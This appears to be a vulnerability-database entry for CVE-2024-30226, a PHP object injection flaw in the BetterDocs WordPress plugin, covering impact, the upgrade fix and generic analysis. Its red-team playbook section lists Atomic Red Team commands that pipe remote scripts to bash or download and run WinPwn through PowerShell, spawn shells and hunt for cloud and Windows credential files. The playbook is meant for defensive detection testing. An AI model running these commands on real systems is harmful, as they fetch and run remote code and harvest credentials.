CVE-2024-30226
Overview
This vulnerability is a deserialization of untrusted data flaw occurring within the WPDeveloper BetterDocs WordPress plugin. The root cause lies in the plugin's improper handling of serialized PHP objects received from unauthenticated requests, specifically in the free version up to 3.3.3. The affected component improperly processes user-supplied input without validation, enabling malicious object injection during deserialization.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in WPDeveloper BetterDocs.This issue affects BetterDocs: from n/a through 3.3.3.
Impact
An attacker can execute arbitrary PHP code on the affected server without authentication by exploiting this vulnerability. This leads to full system compromise, including unauthorized access to sensitive data, modification or deletion of content, and potential lateral movement within the hosting environment. No user interaction or valid credentials are required, enabling remote, unauthenticated exploitation that threatens the confidentiality, integrity, and availability of the WordPress installation and underlying infrastructure.
Solution
Upgrade WPDeveloper BetterDocs plugin to version 3.3.4 or later, where this deserialization vulnerability has been addressed. The vendor's advisory and patch details are available at Patchstack's database: https://patchstack.com/database/vulnerability/betterdocs/wordpress-betterdocs-plugin-3-3-3-unauthenticated-php-object-injection-vulnerability?_s_id=cve. Applying this update replaces vulnerable code paths and prevents unsafe unserialization. No alternative mitigations are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in WPDeveloper's BetterDocs plugin is characterized by the deserialization of untrusted data, which poses significant risks to the integrity and security of web applications utilizing this software. Deserialization is the process of converting a data structure or object state into a format that can be stored or transmitted and reconstructed later. When this process is applied to untrusted data, it can allow an attacker to manipulate the data in such a way that it leads to arbitrary code execution or other malicious actions. In this case, the BetterDocs plugin, particularly in versions up to 3.3.3, fails to adequately validate or sanitize input during the deserialization process, leaving it open to exploitation.
Attack vectors for this vulnerability are varied, but they primarily revolve around the injection of malicious payloads into the deserialization process. An attacker could exploit this weakness by crafting a specially formatted request that includes untrusted data. Once the server processes this request, it may inadvertently execute the attacker's code, leading to unauthorized access or control over the affected system. Scenarios could include an attacker gaining administrative privileges, manipulating data, or even deploying malware. The ease of exploitation, combined with the widespread use of the BetterDocs plugin in WordPress environments, amplifies the potential for widespread attacks.
The real-world impact of this vulnerability can be profound, especially for businesses relying on WordPress for their online presence. Given the high CVSS score of 9.0, the risk associated with this vulnerability is classified as critical. Organizations could face severe consequences, including data breaches, loss of customer trust, and potential legal ramifications stemming from compromised user data. Furthermore, the exploitation of this vulnerability could lead to significant downtime, affecting business operations and revenue. The financial implications of a successful attack can be substantial, with costs associated with incident response, recovery, and reputational damage potentially reaching into the millions.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the BetterDocs plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAF) can help filter out malicious requests before they reach the application. Security monitoring tools can also be utilized to detect unusual patterns of behavior that may indicate an attempted exploitation of the vulnerability. Conducting regular security audits and penetration testing can further bolster defenses by identifying potential weaknesses before they can be exploited by malicious actors.
In conclusion, the deserialization of untrusted data vulnerability in the BetterDocs plugin represents a significant threat to WordPress users. The potential for exploitation, coupled with the critical nature of the vulnerability, necessitates immediate attention from organizations utilizing this plugin. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, businesses can better protect themselves against the risks posed by this vulnerability and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdeveloper | Betterdocs | All |
cpe:2.3:a:wpdeveloper:betterdocs:*:*:*:*:free:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
52%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-30226 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/betterdocs/wordpress-betterdocs-plugin-3-3-3-unauthenticated-php-object-injection-vulnerability?_s_id=cve |